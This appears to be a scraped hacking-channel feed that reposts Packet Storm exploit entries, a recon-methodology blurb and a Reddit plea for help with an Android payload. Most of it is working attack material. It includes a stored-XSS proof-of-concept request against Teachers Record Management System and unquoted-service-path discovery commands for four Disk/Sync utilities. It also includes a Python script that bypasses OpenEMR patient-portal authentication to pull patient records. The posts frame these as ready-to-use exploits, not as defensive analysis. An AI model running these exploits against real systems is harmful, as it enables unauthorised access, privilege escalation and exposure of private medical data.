Recon Step/ Methodology
https://vengeance.medium.com/recon-step-methodology-c9664f5ce312?source=rss------bug_bounty-5

This is just a self-note on different steps to perform while approaching a target.Continue reading on Medium » (https://vengeance.medium.com/recon-step-methodology-c9664f5ce312?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

WHATWEB (“What Is That Website?”)

Continue reading on Medium »
Read more...

Recon Step/ Methodology

This is just a self-note on different steps to perform while approaching a target.Continue reading on Medium »
Read more...

hii guys i was trying to create a payload for android 10 , but it is not working on android 10 , so please help me with this
https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/

submitted by /u/Queasy-Ad-1783 (https://www.reddit.com/user/Queasy-Ad-1783)
[link] (https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/) [comments] (https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Teachers Record Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Teachers Record Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 5a28d092e9d867e89c133c9325a57ec7

Download
# Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS) vulnerability (Authenticated)
# Date: 05-10-2021
# Exploit Author: nhattruong or https://nhattruong.blog
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/admin/index.php
2. Do login
3. Execute the payload
4. Reload page to see the different

Payload:

POST /admin/adminprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/adminprofile.php
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
Upgrade-Insecure-Requests: 1

adminname=Adminm&username=admin&mobilenumber=8979555556&email=">&submit=

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
DiskPulse 13.6.14 Unquoted Service Path

https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
DiskPulse version 13.6.14 suffers from an unquoted service path vulnerability.

MD5 | c78d3135fb201cc095d2f7f446eaafce

Download
# Exploit Title: DiskPulse 13.6.14 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://www.diskpulse.com
# Software Links:
# https://www.diskpulse.com/setups_x64/diskpulseent_setup_v13.6.14_x64.exe
# https://www.diskpulse.com/setups_x64/diskpulsesrv_setup_v13.6.14_x64.exe
# Tested Version: 13.6.14
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Pulse Enterprise Disk Pulse Enterprise C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe Auto
Disk Pulse Server Disk Pulse Server C:\Program Files\Disk Pulse
Server\bin\diskpls.exe Auto

C:\Users\IEUser>sc qc "Disk Pulse Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Pulse Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc "Disk Pulse Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Server\bin\diskpls.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Pulse Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Disk Sorter Server 13.6.12 Unquoted Service Path

https://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png
Disk Sorter Server version 13.6.12 suffers from an unquoted service path vulnerability.

MD5 | 1c8a4d6b4f16937181e3f34f8642abbc

Download
# Exploit Title: Disk Sorter Server 13.6.12 - 'Disk Sorter Server' Unquoted Service Path
# Discovery by: BRushiran
# Date: 15-06-2021
# Vendor Homepage: https://www.disksorter.com
# Software Links: https://www.disksorter.com/setups_x64/disksortersrv_setup_v13.6.12_x64.exe
# Tested Version: 13.6.12
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Sorter Server Disk Sorter Server C:\Program Files\Disk Sorter
Server\bin\disksrs.exe Auto

C:\>sc qc "Disk Sorter Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Sorter Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Sorter
Server\bin\disksrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Sorter Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Linux/x86 Custom Shellcode ASCII And-Sub Encoder

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Disk Savvy 13.6.14 Unquoted Service Path

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Disk Savvy version 13.6.14 suffers from an unquoted service path vulnerability.

MD5 | 7f0e81c45f7ffb0c168cf77102ed8f8a

Download
# Exploit Title: Disk Savvy 13.6.14 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.disksavvy.com
# Software Links:
# https://www.disksavvy.com/setups_x64/disksavvysrv_setup_v13.6.14_x64.exe
# https://www.disksavvy.com/setups_x64/disksavvyent_setup_v13.6.14_x64.exe
# Tested Version: 13.6.14
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Savvy Server Disk Savvy Server C:\Program Files\Disk Savvy
Server\bin\disksvs.exe Auto
Disk Savvy Enterprise Disk Savvy Enterprise C:\Program Files\Disk
Savvy Enterprise\bin\disksvs.exe Auto

C:\>sc qc "Disk Savvy Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Savvy Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Savvy
Server\bin\disksvs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Savvy Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\>sc qc "Disk Savvy Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Savvy Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Savvy
Enterprise\bin\disksvs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Savvy Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenEMR 5.0.1.3 Authentication Bypass

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
OpenEMR version 5.0.1.3 suffers from an authentication bypass vulnerability.

MD5 | 0bfdd861dc16d07c1e19d41f3214b08b

Download
# Exploit Title: OpenEMR 5.0.1.3 - '/portal/account/register.php' Authentication Bypass
# Date 15.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: All versions prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15152
# CWE: CWE-287
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15152-Exploit

'''
Description:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to
the registration page and modifying the requested url to access the desired page. Some
examples of pages in the portal directory that are accessible after browsing to the
registration page include:
- add_edit_event_user.php
- find_appt_popup_user.php
- get_allergies.php
- get_amendments.php
- get_lab_results.php
- get_medications.php
- get_patient_documents.php
- get_problems.php
- get_profile.php
- portal_payment.php
- messaging/messages.php
- messaging/secure_chat.php
- report/pat_ledger.php
- report/portal_custom_report.php
- report/portal_patient_report.php
Normally, access to these pages requires authentication as a patient. If a user were to visit
any of those pages unauthenticated, they would be redirected to the login page.
'''
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='OpenEMR Authentication bypass')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--Openemrpath', type=str)
my_parser.add_argument('-R', '--PathToGet', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.Openemrpath
pathtoread = args.PathToGet
'''
Check for vulnerability:
'''
# Check, if Registration portal is enabled. If it is not, this exploit can not work
session = requests.Session()
check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'
check_vuln = session.get(check_vuln_url).text
print('')
print('[*] Checking vulnerability: ')
print('')

if "Enter email address to receive registration." in check_vuln:
print('[+] Host Vulnerable. Proceeding exploit')
else:
print('[-] Host is not Vulnerable: Registration for patients is not enabled')

'''
Exploit:
'''
header = {
'Referer': check_vuln_url
}
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread
Exploit = session.get(exploit_url, headers=header)
print('')
print('[+] Results: ')
print('')
print(Exploit.text)
print('')

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sync Breeze 13.6.18 Sync Breeze 13.6.18 Unquoted Service Path

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Sync Breeze version 13.6.18 suffers from an unquoted service path vulnerability.

MD5 | 1191bf7ae103af00cabeafc04643bc7d

Download
# Exploit Title: Sync Breeze 13.6.18 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.syncbreeze.com/
# Software Links:
# https://www.syncbreeze.com/setups_x64/syncbreezesrv_setup_v13.6.18_x64.exe
# https://www.syncbreeze.com/setups_x64/syncbreezeent_setup_v13.6.18_x64.exe
# Tested Version: 13.6.18
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Sync Breeze Server Sync Breeze Server C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe Auto
Sync Breeze Enterprise Sync Breeze Enterprise C:\Program Files\Sync
Breeze Enterprise\bin\syncbrs.exe Auto

C:\Users\IEUser>sc qc "Sync Breeze Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc "Sync Breeze Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Enterprise\bin\syncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video